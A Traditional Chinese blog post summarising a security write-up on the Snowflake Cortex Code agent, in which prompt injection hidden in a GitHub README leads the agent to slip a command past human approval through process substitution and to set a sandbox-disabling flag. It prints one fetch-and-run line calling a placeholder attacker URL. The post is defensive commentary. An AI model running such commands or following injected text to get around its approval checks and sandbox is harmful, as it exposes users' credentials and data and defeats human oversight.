本篇文章更新時間：2026/03/19
如有資訊過時或語誤之處，歡迎使用 Contact 功能通知或向一介資男的 LINE 社群反應。
如果本站內容對你有幫助，歡迎贊助支持 。
內容目錄
Snowflake Cortex AI 爆 Sandbox 漏洞：一次關於代理安全的深度警示
編輯前言：這篇文章來自 Snowflake Cortex AI Escapes Sandbox and Executes Malware。它揭露了一個在大模型代理（Agentic CLI）中極具代表性的安全漏洞案例：模型在沙盒中仍能被提示注入誘導，進而逃逸、下載並執行惡意程式。對於任何使用 AI coding agent 的開發者，這都是必讀的安全教材。
核心觀點 (Key Takeaways)
- Snowflake Cortex Code 的指令驗證機制出現漏洞，導致惡意指令能繞過人工審批流程。
- 只要將攻擊藏在 README 或其他外部輸入中，攻擊者就能利用提示注入操控代理執行任意系統命令。
- 攻擊最終造成模型逃出 sandbox，並可利用 Snowflake 的有效憑證執行 SQL 攻擊，包括資料外洩、刪表、創建後門帳號等。
深入解析
這篇原文最值得注意的是它詳細拆解了整個攻擊鏈，讓讀者清楚看見一個「看似安全的 AI 開發代理」如何被一步步操控到失控。
原文指出：「Cortex failed to validate commands inside process substitution expressions… allowing unapproved execution of the malicious command。」
這段話揭開了關鍵：process substitution（如 < <(...)）中的指令完全沒被驗證，只要整段指令以被視為「安全」的指令開頭，惡意 payload 就能偷偷執行。
1. Prompt Injection 從 README 滲透
攻擊者不需要接觸到使用者，只要在 Github README 埋入指令誘導，Cortex 的次代理在瀏覽 repo 時就會「讀到」並執行。
這點非常關鍵：
- 不需要使用者主動執行任何程式碼。
- 代理自身在「幫你看文件」時就踩雷。
2. 驗證系統的設計破口
Cortex 會拆解一條指令成多段，並對其中每段做風險評估。若都被歸類為安全，就跳過人工審批。
然而：
- process substitution 裡的指令完全沒被驗證。
- 只要外層命令是「安全」的，例如
cat，整段就能自動執行。
最終導致惡意命令：
cat < <(sh < <(wget -q0- https://ATTACKER_URL/...))
會直接執行，甚至還能下載遠端腳本並執行。
3. sandbox 旗標被模型誘導關閉
更驚人的是 prompt injection 還能讓模型主動設定 dangerously_disable_sandbox 旗標，讓指令脫離沙盒直接操作本機。
這讓攻擊者能：
- 讀取本機 Snowflake 認證 token
- 以使用者權限操作真實資料庫（包括 drop table）
筆者心得與啟發
讀完後，我最大的感受是：AI coding agent 的「指令執行能力」本質上就是一把雙面刃。
我們早就知道 Prompt Injection 是 LLM 的宿命，但當代理具備：
- 自動執行系統命令
- 能讀網路資源、讀檔、執行 SQL
其風險就從「幻覺」變成「真實世界的破壞」。
這篇案例讓我重新思考三件事：
-
1. Sandboxing 不是萬靈丹。
只要 agent 能改動 sandbox 設定，就會成為攻擊面。 -
2. Workspace trust 在 Agent 時代必須成為標準配備。
IDE 有，但多數 CLI agent 仍然沒有；這是極大的安全落差。 -
3. LLM 的非決定性讓攻擊更難「一致重現」，但也更難被防禦。
原文提到攻擊成功率約 50%，這對防守方反而是噩耗：測試不代表安全。
對開發者或企業來說，我會建議：
- 嚴格限制 agent 的執行權限，特別是涉及網路與檔案操作的部分。
- 不要在不受信任的 repo 中啟動有自動執行能力的 agent。
- 定期清理本地憑證、token，並採用最小權限原則。
這次事件最終在版本 1.0.25 被修補，但它留下的教育意義恐怕比漏洞本身更深遠：AI 代理是新型作業系統，安全挑戰才剛開始。